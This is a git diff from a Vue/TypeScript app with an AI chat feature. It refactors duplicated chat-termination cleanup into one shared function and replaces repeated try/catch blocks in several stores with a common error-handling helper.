默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。 diff --git a/src/composables/ai/useAiEvents.ts b/src/composables/ai/useAiEvents.ts index 4c097dd..b8f9ea9 100644 --- a/src/composables/ai/useAiEvents.ts +++ b/src/composables/ai/useAiEvents.ts @@ -565,33 +565,59 @@ function handleUserMessageEvent(event: AiChatEvent): boolean { return true } +/** + * 公共会话终止收尾(任务 #6 DRY 抽离):AiCompleted / AiError / AiHelpRequired + * 三分支共用同一套清场逻辑——看门狗/计时器/流式态/currentText/agentRound/per-conv + * 挂起(localStorage 快照 + pendingMaxRounds + pendingDirAuths + convStates)。 + * + * 语义差异(调用方自行处理): + * - AiCompleted: 调用后追加 incomplete 气泡 / token 用量 / 队列 drain + * - AiError: 调用后追加错误气泡 + clearAllApprovalTimers + 清 queue/pendingApprovals + * - AiHelpRequired: 调用后翻 pendingHelp 驱动求助卡 + */ +function cleanupTerminatedConversation(convId: string, reason: 'AiCompleted' | 'AiError' | 'AiHelpRequired') { + clearStreamWatchdog(convId || undefined) + clearAllToolSlowTimers() // B-260616-12: 整轮/错误/求助结束清全部工具慢执行计时器与已提示集合 + flushCurrentText() + state.currentText = '' + setStreaming(false, { convId: convId || null, reason }) + state.agentRound = 0 // AE-2025-07: agentic 结束/中断/求助,复位轮次(隐藏进度条) + + // 批4 双轨收口:收尾收敛 convStates(AiCompleted/AiHelpRequired 删项→idle,AiError 置 error)。 + // 后端 CONV_STATE_ENABLED=on 时 AiConvStateChanged 已先到此处幂等 no-op; + // off 或老后端无 AiConvStateChanged 时此处保证 convStates 不陈旧。 + if (reason === 'AiError') { + if (convId) convStates.set(convId, 'error') // 保留 error 项供停止按钮显「重试」态 + } else { + convStates.delete(convId) + } + + // TD-260621-02 per-conv:仅当 pendingMaxRounds===本 conv 才清 null(避免清其他会话的挂起)。 + if (pendingMaxRounds.value && pendingMaxRounds.value === convId) { + pendingMaxRounds.value = null + } + // L1 求助协议(§2.3):求助卡挂起仅清本 conv(终止后旧求助卡应消失)。 + if (pendingHelp.value && pendingHelp.value.conversationId === convId) { + pendingHelp.value = null + } + // TD-260621-03 per-conv:仅清本 conv 的 path_auth 挂起(终止只清本会话弹窗,不连累并发会话)。 + // F-09 多会话并发下全清会让 B 会话的 DirAuthDialog 凭空消失(用户报"弹窗没了我没操作")。 + pendingDirAuths.value = pendingDirAuths.value.filter(p => !p.conversationId || p.conversationId === convId) + + // F-09: 清理分离窗口生成态快照(per-conv key,清本会话快照;兼容旧单 key) + if (convId) { + localStorage.removeItem(`df-ai-gen-${convId}`) + localStorage.removeItem(`df-ai-text-${convId}`) + } + localStorage.removeItem('df-ai-gen') + localStorage.removeItem('df-ai-text') +} + /** lifecycle 域:整轮收尾(AiCompleted)与异常中断(AiError) */ function handleLifecycleEvent(event: AiChatEvent): boolean { switch (event.type) { case 'AiCompleted': { - clearStreamWatchdog(event.conversation_id || undefined) - clearAllToolSlowTimers() // B-260616-12: 整轮结束清全部工具慢执行计时器与已提示集合 - flushCurrentText() - state.currentText = '' - setStreaming(false, { convId: event.conversation_id || null, reason: 'AiCompleted' }) - // 批4 双轨收口:AiCompleted 收尾收敛 convStates→idle(删 Map 项,enum 单一真相源)。 - // 后端 CONV_STATE_ENABLED=on 时 AiConvStateChanged{idle} 已先到此处幂等 no-op; - // off 或老后端无 AiConvStateChanged 时此处保证 convStates 不陈旧。 - convStates.delete(event.conversation_id || '') - state.agentRound = 0 // AE-2025-07: agentic 结束,复位轮次(隐藏进度条) - // TD-260621-02 per-conv:仅当 pendingMaxRounds===本 conv 才清 null(避免清其他会话的挂起)。 - if (pendingMaxRounds.value && pendingMaxRounds.value === (event.conversation_id || '')) { - pendingMaxRounds.value = null - } - // L1 求助协议(§2.3):求助卡挂起仅清本 conv(新一轮发送时旧求助卡应消失)。 - if (pendingHelp.value && pendingHelp.value.conversationId === (event.conversation_id || '')) { - pendingHelp.value = null - } - // TD-260621-03 per-conv:仅清本 conv 的 path_auth 挂起(其他会话的弹窗不连累清空)。 - // 批2-A 刚把 pendingMaxRounds per-conv,pendingDirAuths 漏跟;此处补齐—— - // F-09 多会话并发下全清会让 B 会话的 DirAuthDialog 凭空消失(用户报"弹窗没了我没操作")。 - const doneConv2 = event.conversation_id || '' - pendingDirAuths.value = pendingDirAuths.value.filter(p => !p.conversationId || p.conversationId === doneConv2) + cleanupTerminatedConversation(event.conversation_id || '', 'AiCompleted') // UX-2025-04 / CR-30-2 / 决策 a1: 流中途失败保文——后端 emit AiCompleted(incomplete=true), // 前端追加系统提示气泡(镜像后端 session.messages 的 system 提示)。 // 注:此系统提示仅前端展示,后端已独立 push 到 session.messages 落库。 @@ -624,15 +650,6 @@ function handleLifecycleEvent(event: AiChatEvent): boolean { state.convTokenTotal = { prompt: event.prompt_tokens, completion: event.completion_tokens, total: event.total_tokens } } } - // 清理分离窗口生成态快照(F-09:per-conv key,清本会话快照;兼容旧单 key) - const doneConv = event.conversation_id || '' - if (doneConv) { - localStorage.removeItem(`df-ai-gen-${doneConv}`) - localStorage.removeItem(`df-ai-text-${doneConv}`) - } - localStorage.removeItem('df-ai-gen') - localStorage.removeItem('df-ai-text') - void loadConversations() notifyConversationChanged() // 队列续发:当前完成后自动发下一条(经事件总线桥接,避免 import useAiSend 构成循环依赖) emit('ai-drain-queue', {}) @@ -640,42 +657,12 @@ function handleLifecycleEvent(event: AiChatEvent): boolean { } case 'AiError': { - clearStreamWatchdog(event.conversation_id || undefined) - clearAllToolSlowTimers() // B-260616-12: 错误收尾清全部工具慢执行计时器与已提示集合 + cleanupTerminatedConversation(event.conversation_id || '', 'AiError') clearAllApprovalTimers() // UX-260617-10: 错误中断释放所有审批超时计时器,防回调改 state 触发已卸载/已错流程 - // UX-260619-06: 失败前先把流式累积的 currentText 回填到占位 assistant 气泡, - // 保留"回答到一半"的部分回复(否则清 currentText 后部分内容消失)。 - flushCurrentText() - setStreaming(false, { convId: event.conversation_id || null, reason: 'AiError' }) - // 批4 双轨收口:AiError 收尾将 convStates 显式置 error(保留 error 项,供停止按钮显"重试"态)。 - // 与 AiConvStateChanged{error} 双写幂等(后端 on 时状态事件已先到;off/老后端时此处保证 Error 态可见)。 - // error 态在新会话发送(首活跃事件到达兜底写 generating)或下次 AiCompleted 时自然收敛。 - if (event.conversation_id) convStates.set(event.conversation_id, 'error') - state.currentText = '' - state.agentRound = 0 // AE-2025-07: agentic 异常中断,复位轮次 state.queue = [] // B-32:错误收尾清队列,防生成中入队的消息被静默丢失(drainQueue 仅 AiCompleted 触发) // UX-260617-10: 错误收尾清残留待审批项——错误发生时若有工具停在 pending_approval, // 残留可点击审批按钮会让用户误以为还能批(实际后端已终止),残留审批卡误导操作。 state.pendingApprovals = [] - // TD-260621-02 per-conv:仅当 pendingMaxRounds===本 conv 才清 null(避免清其他会话的挂起)。 - if (pendingMaxRounds.value && pendingMaxRounds.value === (event.conversation_id || '')) { - pendingMaxRounds.value = null - } - // L1 求助协议(§2.3):求助卡挂起仅清本 conv(错误中断后旧求助卡应消失)。 - if (pendingHelp.value && pendingHelp.value.conversationId === (event.conversation_id || '')) { - pendingHelp.value = null - } - // TD-260621-03 per-conv:仅清本 conv 的 path_auth 挂起(异常中断只清本会话弹窗,不连累并发会话)。 - const errConv2 = event.conversation_id || '' - pendingDirAuths.value = pendingDirAuths.value.filter(p => !p.conversationId || p.conversationId === errConv2) - // F-09: 清理分离窗口生成态快照(per-conv key,清本会话快照;兼容旧单 key) - const errConv = event.conversation_id || '' - if (errConv) { - localStorage.removeItem(`df-ai-gen-${errConv}`) - localStorage.removeItem(`df-ai-text-${errConv}`) - } - localStorage.removeItem('df-ai-gen') - localStorage.removeItem('df-ai-text') // UX-03: 错误消息携带 error_type(供错误气泡差异化显隐「去设置」按钮)。 // AiMessage 类型未含 errorType 字段(不在本批白名单),用对象字面量 + cast 扩展; // 消费方(AiChat.vue canOpenSettings)经同 cast 读取,类型闭环在两端,不污染 types.ts。 @@ -698,32 +685,9 @@ function handleLifecycleEvent(event: AiChatEvent): boolean { // 前端按终止态收尾(对齐 AiError 分支:清看门狗/流式态/快照/队尾文本 flushCurrentText), // 但不创建错误气泡(求助非错误,是 AI 主动求助)——改为翻 pendingHelp 驱动求助卡(HelpRequiredCard) // 显 reason + options 按钮供用户选。 - clearStreamWatchdog(event.conversation_id || undefined) - clearAllToolSlowTimers() - flushCurrentText() - setStreaming(false, { convId: event.conversation_id || null, reason: 'AiHelpRequired' }) - // 批4 双轨收口:求助即终止 loop,收敛 convStates(删 Map 项回 null/不在生成)。 - // HelpRequiredCard 守卫仅判 pendingHelp.conversationId===active,不读 conv_state,删项安全。 - convStates.delete(event.conversation_id || '') - state.currentText = '' - state.agentRound = 0 + cleanupTerminatedConversation(event.conversation_id || '', 'AiHelpRequired') // 求助即终止 loop,清残留待审批项(对齐 AiError 分支语义,防残留审批卡误导)。 state.pendingApprovals = [] - // TD-260621-02 per-conv:仅当 pendingMaxRounds===本 conv 才清 null(求助终止同理清达 max 挂起)。 - if (pendingMaxRounds.value && pendingMaxRounds.value === (event.conversation_id || '')) { - pendingMaxRounds.value = null - } - // per-conv 清本 conv path_auth 挂起(求助终止只清本会话弹窗,不连累并发会话)。 - const helpConv2 = event.conversation_id || '' - pendingDirAuths.value = pendingDirAuths.value.filter(p => !p.conversationId || p.conversationId === helpConv2) - // F-09: 清理分离窗口生成态快照(per-conv key,清本会话快照;兼容旧单 key) - const helpConv = event.conversation_id || '' - if (helpConv) { - localStorage.removeItem(`df-ai-gen-${helpConv}`) - localStorage.removeItem(`df-ai-text-${helpConv}`) - } - localStorage.removeItem('df-ai-gen') - localStorage.removeItem('df-ai-text') // 翻 pendingHelp 驱动求助卡:用 convId 兜底(后端必带,无时默认当前活跃会话,优于丢卡片)。 pendingHelp.value = { reason: event.reason, diff --git a/src/composables/useStoreAction.ts b/src/composables/useStoreAction.ts new file mode 100644 index 0000000..9f28fcb --- /dev/null +++ b/src/composables/useStoreAction.ts @@ -0,0 +1,85 @@ +/** + * Store action 统一错误处理工具(任务 #7 DRY 抽离)。 + * + * 之前 4 个 store(knowledge/ideas/projects/tasks)共 38 处重复: + * try { ... } catch (e: any) { state.error = e?.toString() ?? t('xxx') } + * + * 本工具: + * - 用 `catch (e: unknown)` 替代 `any`(类型安全) + * - 失败时写 state.error,返回 undefined(调用方判断) + * - 成功时返回 fn 结果 + * + * 注:带 seq 竞态守卫的场景调用方需在 fn 内部判断,不在本工具职责范围。 + */ + +import type { Ref } from 'vue' + +/** 带 error 字段的 store state 形状(仅约束 error,其他字段任意)。 */ +export interface ErrorSink { + error: string | null +} + +/** + * 执行异步 action,失败时写 state.error + 返回 undefined。 + * + * @param state 带 error 字段的响应式 state + * @param i18nKey 失败时的 i18n 文案 key(兜底) + * @param fn 异步 action + * @returns 成功返 fn 结果;失败返 undefined + */ +export async function runWithCatch( + state: ErrorSink, + i18nKey: string, + fn: () => Promise, +): Promise { + try { + return await fn() + } catch (e: unknown) { + state.error = stringifyError(e) ?? i18nKey + return undefined + } +} + +/** + * 把 unknown 错误转为可读字符串(无则返 undefined,由调用方兜底 i18n)。 + * + * Tauri invoke 抛出的通常是 string 或 Error 实例。 + */ +export function stringifyError(e: unknown): string | undefined { + if (typeof e === 'string') return e + if (e instanceof Error) return e.message || e.toString() + if (e && typeof e === 'object' && 'toString' in e) { + try { + return String((e as { toString(): string }).toString()) + } catch { + return undefined + } + } + return undefined +} + +/** + * Variant:带前置守卫的错误捕获。 + * + * 用于「旧请求的失败不污染当前视图」场景(如 seq 守卫)。 + * + * @param guard 返回 true 时才写 state.error;false 时静默(旧响应丢弃) + */ +export async function runWithCatchGuarded( + state: ErrorSink, + i18nKey: string, + guard: () => boolean, + fn: () => Promise, +): Promise { + try { + return await fn() + } catch (e: unknown) { + if (guard()) { + state.error = stringifyError(e) ?? i18nKey + } + return undefined + } +} + +// 显式标记 Ref 未使用(避免未来用上时改导入) +export type _Unused = Ref diff --git a/src/stores/knowledge.ts b/src/stores/knowledge.ts index 5605a96..c15af5a 100644 --- a/src/stores/knowledge.ts +++ b/src/stores/knowledge.ts @@ -1,6 +1,7 @@ import { reactive, computed } from 'vue' import { knowledgeApi } from '@/api' import { t } from '@/i18n/i18n-helpers' +import { runWithCatch, runWithCatchGuarded } from '@/composables/useStoreAction' import type { KnowledgeRecord, KnowledgeDetailPayload, @@ -140,73 +141,58 @@ export function useKnowledgeStore() { } async function create(input: CreateKnowledgeInput) { - try { - const record = await knowledgeApi.create(input) - // 手动录入默认 candidate,刷新收件箱。 - // create 已成功返回 record,刷新失败不应污染成功语义 —— 直接走原始 API + 非阻塞 console.warn, - // 不经 loadCandidates(后者会写 state.error,污染 create 成功语义)。 + const record = await runWithCatch(state, t('knowledge.err.createFailed'), async () => { + const r = await knowledgeApi.create(input) + // 手动录入默认 candidate,刷新收件箱。刷新失败不污染 create 成功语义(独立 console.warn)。 try { state.candidates = await knowledgeApi.listCandidates() - } catch (e: any) { - console.warn('create 后刷新收件箱失败(非阻塞)', e?.toString?.() ?? e) + } catch (e: unknown) { + console.warn('create 后刷新收件箱失败(非阻塞)', e) } - return record - } catch (e: any) { - state.error = e?.toString() ?? t('knowledge.err.createFailed') - return null - } + return r + }) + return record ?? null } async function updateStatus(id: string, status: string) { - try { + await runWithCatch(state, t('knowledge.err.updateStatusFailed'), async () => { await knowledgeApi.updateStatus(id, status) // 从 items 和 candidates 中同步移除 state.items = state.items.filter(k => k.id !== id) state.candidates = state.candidates.filter(k => k.id !== id) - } catch (e: any) { - state.error = e?.toString() ?? t('knowledge.err.updateStatusFailed') - } + }) } async function archive(id: string) { - try { + await runWithCatch(state, t('knowledge.err.archiveFailed'), async () => { await knowledgeApi.archive(id) state.items = state.items.filter(k => k.id !== id) state.candidates = state.candidates.filter(k => k.id !== id) - } catch (e: any) { - state.error = e?.toString() ?? t('knowledge.err.archiveFailed') - } + }) } // ── 配置 ── async function loadConfig() { const seq = ++_configReqSeq - try { + await runWithCatchGuarded(state, t('knowledge.err.loadConfigFailed'), () => seq === _configReqSeq, async () => { const result = await knowledgeApi.getConfig() - if (seq !== _configReqSeq) return // 旧响应丢弃,只取最新 + if (seq !== _configReqSeq) return // 旧响应丢弃 state.config = result - } catch (e: any) { - if (seq !== _configReqSeq) return - state.error = e?.toString() ?? t('knowledge.err.loadConfigFailed') - } + }) } async function saveConfig(config: KnowledgeConfig) { - try { + await runWithCatch(state, t('knowledge.err.saveConfigFailed'), async () => { await knowledgeApi.saveConfig(config) state.config = config - } catch (e: any) { - state.error = e?.toString() ?? t('knowledge.err.saveConfigFailed') - } + }) } async function extractNow() { - try { + await runWithCatch(state, t('knowledge.err.extractFailed'), async () => { await knowledgeApi.extractNow() await loadCandidates() - } catch (e: any) { - state.error = e?.toString() ?? t('knowledge.err.extractFailed') - } + }) } // ── 生命线:详情 / 编辑 / 事件查询(按需调用,不入全局 state) ── diff --git a/src/stores/project/ideas.ts b/src/stores/project/ideas.ts index f483565..2e22e77 100644 --- a/src/stores/project/ideas.ts +++ b/src/stores/project/ideas.ts @@ -1,6 +1,7 @@ import { ideaApi } from '@/api' import type { IdeaQuery } from '@/api/types' import { t } from '@/i18n/i18n-helpers' +import { runWithCatch } from '@/composables/useStoreAction' import { state } from './state' /** 灵感 CRUD 子 store(共享全局 state) */ @@ -13,22 +14,18 @@ export function createIdeasStore() { * - 不传 → 全量(created_at DESC,等价旧行为)。 */ async function loadIdeas(query?: IdeaQuery) { - try { + await runWithCatch(state, t('ideas.err.loadFailed'), async () => { state.ideas = await ideaApi.list(query) - } catch (e: any) { - state.error = e?.toString() ?? t('ideas.err.loadFailed') - } + }) } async function createIdea(input: { title: string; description?: string; priority?: number; tags?: string; source?: string }) { - try { - const record = await ideaApi.create(input) - state.ideas.push(record) - return record - } catch (e: any) { - state.error = e?.toString() ?? t('ideas.err.createFailed') - return null - } + const record = await runWithCatch(state, t('ideas.err.createFailed'), async () => { + const r = await ideaApi.create(input) + state.ideas.push(r) + return r + }) + return record ?? null } async function updateIdea(id: string, field: string, value: string) { @@ -40,12 +37,10 @@ export function createIdeasStore() { } async function deleteIdea(id: string) { - try { + await runWithCatch(state, t('ideas.err.deleteFailed'), async () => { await ideaApi.delete(id) state.ideas = state.ideas.filter(i => i.id !== id) - } catch (e: any) { - state.error = e?.toString() ?? t('ideas.err.deleteFailed') - } + }) } async function evaluateIdea(id: string) { @@ -62,12 +57,10 @@ export function createIdeasStore() { } async function relateIdeas(subjectId: string, targetIds: string[]) { - try { + await runWithCatch(state, t('ideas.err.relateFailed'), async () => { await ideaApi.relateIdeas(subjectId, targetIds) await loadIdeas() // 后端已原子更新全部受影响灵感,刷新列表保持 store 一致 - } catch (e: any) { - state.error = e?.toString() ?? t('ideas.err.relateFailed') - } + }) } return { diff --git a/src/stores/project/projects.ts b/src/stores/project/projects.ts index 5cf64d4..94b87b4 100644 --- a/src/stores/project/projects.ts +++ b/src/stores/project/projects.ts @@ -1,6 +1,7 @@ import { projectApi } from '@/api' import type { ImportProjectInput, ProjectQuery } from '@/api/project' import { t } from '@/i18n/i18n-helpers' +import { runWithCatch } from '@/composables/useStoreAction' import { state, clearError } from './state' /** 项目 CRUD 子 store(共享全局 state) */ @@ -12,36 +13,29 @@ export function createProjectsStore() { async function loadProjects(query?: ProjectQuery) { state.loading = true state.error = null - try { + await runWithCatch(state, t('projects.err.loadFailed'), async () => { state.projects = await projectApi.list(query) - } catch (e: any) { - state.error = e?.toString() ?? t('projects.err.loadFailed') - } finally { - state.loading = false - } + }) + state.loading = false } async function createProject(name: string, description = '', ideaId?: string, path?: string, stack?: string) { - try { - const record = await projectApi.create({ name, description, idea_id: ideaId, path, stack }) - state.projects.push(record) - return record - } catch (e: any) { - state.error = e?.toString() ?? t('projects.err.createFailed') - return null - } + const record = await runWithCatch(state, t('projects.err.createFailed'), async () => { + const r = await projectApi.create({ name, description, idea_id: ideaId, path, stack }) + state.projects.push(r) + return r + }) + return record ?? null } /** 导入历史项目(选已存在目录,后端创建+绑定+探测栈+读 README 首段一步完成) */ async function importProject(input: ImportProjectInput) { - try { - const record = await projectApi.importProject(input) + const record = await runWithCatch(state, t('projects.err.importFailed'), async () => { + const r = await projectApi.importProject(input) await loadProjects() // 刷新列表(后端已 insert,统一走 load 避免本地数组与后端不一致) - return record - } catch (e: any) { - state.error = e?.toString() ?? t('projects.err.importFailed') - return null - } + return r + }) + return record ?? null } async function updateProject(id: string, field: string, value: string) { @@ -61,20 +55,16 @@ export function createProjectsStore() { } async function deleteProject(id: string) { - try { + await runWithCatch(state, t('projects.err.deleteFailed'), async () => { await projectApi.delete(id) // 软删 → 回收站(可恢复) state.projects = state.projects.filter(p => p.id !== id) - } catch (e: any) { - state.error = e?.toString() ?? t('projects.err.deleteFailed') - } + }) } async function loadDeletedProjects() { - try { + await runWithCatch(state, t('projects.err.loadTrashFailed'), async () => { state.deletedProjects = await projectApi.listDeleted() - } catch (e: any) { - state.error = e?.toString() ?? t('projects.err.loadTrashFailed') - } + }) } async function restoreProject(id: string) { diff --git a/src/stores/project/tasks.ts b/src/stores/project/tasks.ts index fa0def2..fb907be 100644 --- a/src/stores/project/tasks.ts +++ b/src/stores/project/tasks.ts @@ -1,6 +1,7 @@ import { taskApi } from '@/api' import type { TaskQuery } from '@/api/types' import { t } from '@/i18n/i18n-helpers' +import { runWithCatch } from '@/composables/useStoreAction' import { state } from './state' /** 任务 CRUD 子 store(共享全局 state) */ @@ -16,43 +17,35 @@ export function createTasksStore() { * status/keyword 下沉后端 WHERE(P1/P2),取代 Tasks.vue 旧的前端内存 filter。 */ async function loadTasks(queryOrProjectId?: TaskQuery | string) { - try { + await runWithCatch(state, t('tasks.err.loadFailed'), async () => { state.tasks = await taskApi.list(queryOrProjectId) - } catch (e: any) { - state.error = e?.toString() ?? t('tasks.err.loadFailed') - } + }) } async function createTask(input: { project_id: string; title: string; description?: string; priority?: number; branch_name?: string; assignee?: string; idea_id?: string }) { - try { - const record = await taskApi.create(input) - state.tasks.push(record) - return record - } catch (e: any) { - state.error = e?.toString() ?? t('tasks.err.createFailed') - return null - } + const record = await runWithCatch(state, t('tasks.err.createFailed'), async () => { + const r = await taskApi.create(input) + state.tasks.push(r) + return r + }) + return record ?? null } async function updateTask(id: string, field: string, value: string) { - try { + await runWithCatch(state, t('tasks.err.updateFailed'), async () => { await taskApi.update(id, field, value) const idx = state.tasks.findIndex(t => t.id === id) if (idx >= 0) { (state.tasks[idx] as any)[field] = value } - } catch (e: any) { - state.error = e?.toString() ?? t('tasks.err.updateFailed') - } + }) } async function deleteTask(id: string) { - try { + await runWithCatch(state, t('tasks.err.deleteFailed'), async () => { await taskApi.delete(id) state.tasks = state.tasks.filter(t => t.id !== id) - } catch (e: any) { - state.error = e?.toString() ?? t('tasks.err.deleteFailed') - } + }) } return {